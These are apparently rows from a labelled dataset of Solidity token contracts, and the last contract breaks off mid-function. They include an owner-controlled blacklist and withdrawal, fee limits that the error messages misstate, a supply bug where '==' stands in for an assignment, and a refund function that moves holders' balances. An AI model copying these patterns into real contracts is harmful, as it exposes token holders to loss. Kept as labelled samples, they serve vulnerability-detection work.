function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SAFUCT is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress = payable(0xc88098bb4f7C1705107fcEfC8c2eA2d6701C18c4);
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isBot;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "SAFU Community Token";
string private _symbol = "SAFU CT";
uint8 private _decimals = 9;
uint256 public _sellFee;
uint256 public _buyFee;
uint256 public _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwap;
bool tradingOpen = false;
bool canBlacklist = true;
uint256 private _maxHoldings = 2200001 * 10**9;
bool public maxHoldingsEnabled = true;
uint256 public numTokensSellToAddToLiquidity = 2000000 * 10**9;
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
}
function oopenTrading() external onlyOwner() {
_buyFee = 9;
_sellFee = 18;
_taxFee=1;
tradingOpen = true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from!= owner() && to!= owner()) {
require(tradingOpen, "Trading not yet enabled.");
require (!isBot[from] && !isBot[to], "Bot!");
}
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
if(maxHoldingsEnabled){
if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) {
uint balance = balanceOf(to);
require(balance.add(amount) <= _maxHoldings);
}
}
_liquidityFee = _buyFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwap &&
to == uniswapV2Pair
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
_liquidityFee = _sellFee;
}
bool takeFee = false;
if ( (from==uniswapV2Pair || to==uniswapV2Pair) && !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ) {
takeFee = true;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 halfOfLiquify = contractTokenBalance.div(10);
uint256 otherHalfOfLiquify = contractTokenBalance.div(10);
uint256 portionForFees = contractTokenBalance.sub(halfOfLiquify).sub(otherHalfOfLiquify);
uint256 initialBalance = address(this).balance;
swapTokensForEth(halfOfLiquify);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalfOfLiquify, newBalance);
sendETHToFee(portionForFees);
emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify);
}
function sendETHToFee(uint256 amount) private {
swapTokensForEth(amount);
marketingAddress.call{value: address(this).balance}("");
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
require (taxFee <= 1, "taxFee can't exceed 2%");
_taxFee = taxFee;
}
function setBuyFee(uint256 buyFee) external onlyOwner() {
require (buyFee <= 9, "buy Fee can't exceed 2%");
_buyFee = buyFee;
}
function setSellFee(uint256 sellFee) external onlyOwner() {
require (sellFee <= 9, "sell fee can't exceed 9%");
_sellFee = sellFee;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner() {
marketingAddress = payable(_marketingAddress);
}
function emergencyWithdraw() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function arrayBlacklist(address[] calldata bots) external onlyOwner() {
require (canBlacklist == true, "can call this function only once");
uint256 iterator = 0;
while(iterator < bots.length){
blacklist(bots[iterator]);
iterator += 1;
}
canBlacklist = false;
}
function blacklist(address account) internal {
if (account != uniswapV2Pair && account != owner() && account != address(this) && account!= address(uniswapV2Router)) {
isBot[account] = true;
}
}
function checkBot(address account) public view returns (bool) {
return isBot[account];
}
function removeBlacklist(address account) external onlyOwner {
require (isBot[account], "Must be blacklisted");
isBot[account] = false;
}
function removeMaxHoldings() external onlyOwner() {
maxHoldingsEnabled = false;
}
function setSwapThresholdAmount (uint256 amount) external onlyOwner {
require (amount <= _tTotal.div(100), "can't exceed 1%");
numTokensSellToAddToLiquidity = amount * 10 ** 9;
}
receive() external payable {}
} | 1 | 2,717 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract IranCoinToken is StandardToken, Ownable {
string public constant name = "Zarig";
string public constant symbol = "ICD";
uint8 public constant decimals = 18;
uint256 public constant rewards = 8000000 * (10 ** uint256(decimals));
uint256 public constant INITIAL_SUPPLY = 17000000 * (10 ** uint256(decimals));
function IranCoinToken() public {
totalSupply == INITIAL_SUPPLY.add(rewards);
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 2,079 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint256 size) {
require(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
contract VotesPlatformToken is StandardToken, Ownable {
string public name = "Votes Platform Token";
string public symbol = "VOTES";
uint256 public decimals = 2;
uint256 public INITIAL_SUPPLY = 100000000 * 100;
mapping(address => bool) refundAllowed;
address public migrationAgent;
uint256 public totalMigrated;
function VotesPlatformToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function allowRefund(address _contractAddress) onlyOwner {
refundAllowed[_contractAddress] = true;
}
function refundPresale(address _from, uint _count) {
require(refundAllowed[msg.sender]);
balances[_from] = balances[_from].sub(_count);
balances[msg.sender] = balances[msg.sender].add(_count);
}
function setMigrationAgent(address _agent) external onlyOwner {
migrationAgent = _agent;
}
function migrate(uint256 _value) external {
require(migrationAgent != 0);
require(_value > 0);
require(_value <= balances[msg.sender]);
balances[msg.sender] -= _value;
totalSupply -= _value;
totalMigrated += _value;
MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value);
}
}
contract VotesPlatformTokenPreSale is Ownable {
using SafeMath for uint;
string public name = "Votes Platform Token ICO";
VotesPlatformToken public token;
address public beneficiary;
uint public hardCap;
uint public softCap;
uint public tokenPrice;
uint public purchaseLimit;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public weiRefunded = 0;
uint public startTime;
uint public endTime;
bool public softCapReached = false;
bool public crowdsaleFinished = false;
mapping(address => uint) sold;
event GoalReached(uint amountRaised);
event SoftCapReached(uint softCap1);
event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Refunded(address indexed holder, uint256 amount);
modifier onlyAfter(uint time) {
require(now >= time);
_;
}
modifier onlyBefore(uint time) {
require(now <= time);
_;
}
function VotesPlatformTokenPreSale(
uint _hardCapUSD,
uint _softCapUSD,
address _token,
address _beneficiary,
uint _totalTokens,
uint _priceETH,
uint _purchaseLimitUSD,
uint _startTime,
uint _duration
) {
hardCap = _hardCapUSD * 1 ether / _priceETH;
softCap = _softCapUSD * 1 ether / _priceETH;
tokenPrice = hardCap / _totalTokens;
purchaseLimit = _purchaseLimitUSD * 1 ether / _priceETH / tokenPrice;
token = VotesPlatformToken(_token);
beneficiary = _beneficiary;
startTime = _startTime;
endTime = _startTime + _duration * 1 hours;
}
function () payable {
require(msg.value / tokenPrice > 0);
doPurchase(msg.sender);
}
function refund() external onlyAfter(endTime) {
require(!softCapReached);
uint balance = sold[msg.sender];
require(balance > 0);
uint refund = balance * tokenPrice;
msg.sender.transfer(refund);
delete sold[msg.sender];
weiRefunded = weiRefunded.add(refund);
token.refundPresale(msg.sender, balance);
Refunded(msg.sender, refund);
}
function withdrawTokens() onlyOwner onlyAfter(endTime) {
token.transfer(beneficiary, token.balanceOf(this));
}
function withdraw() onlyOwner {
require(softCapReached);
beneficiary.transfer(weiRaised);
token.transfer(beneficiary, token.balanceOf(this));
crowdsaleFinished = true;
}
function doPurchase(address _to) private onlyAfter(startTime) onlyBefore(endTime) {
assert(crowdsaleFinished == false);
require(weiRaised.add(msg.value) <= hardCap);
if (!softCapReached && weiRaised < softCap && weiRaised.add(msg.value) >= softCap) {
softCapReached = true;
SoftCapReached(softCap);
}
uint tokens = msg.value / tokenPrice;
require(token.balanceOf(_to) + tokens <= purchaseLimit);
if (sold[_to] == 0)
investorCount++;
token.transfer(_to, tokens);
sold[_to] += tokens;
tokensSold = tokensSold.add(tokens);
weiRaised = weiRaised.add(msg.value);
NewContribution(_to, tokens, msg.value);
if (weiRaised == hardCap) {
GoalReached(hardCap);
}
}
} | 0 | 722 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract AS is ERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) private allowed;
uint256 private totalSupply_ = 110000000 * 10**8;
string public constant name = "AmaStar";
string public constant symbol = "AS";
uint8 public constant decimals = 8;
mapping (address => uint) lockupTime;
mapping (address => uint) lockupAmount;
bool private teamGotMoney = false;
function lock(address _victim, uint _value, uint _periodSec) public onlyOwner {
lockupAmount[_victim] = 0;
lockupTime[_victim] = 0;
lockupAmount[_victim] = _value;
lockupTime[_victim] = block.timestamp.add(_periodSec);
}
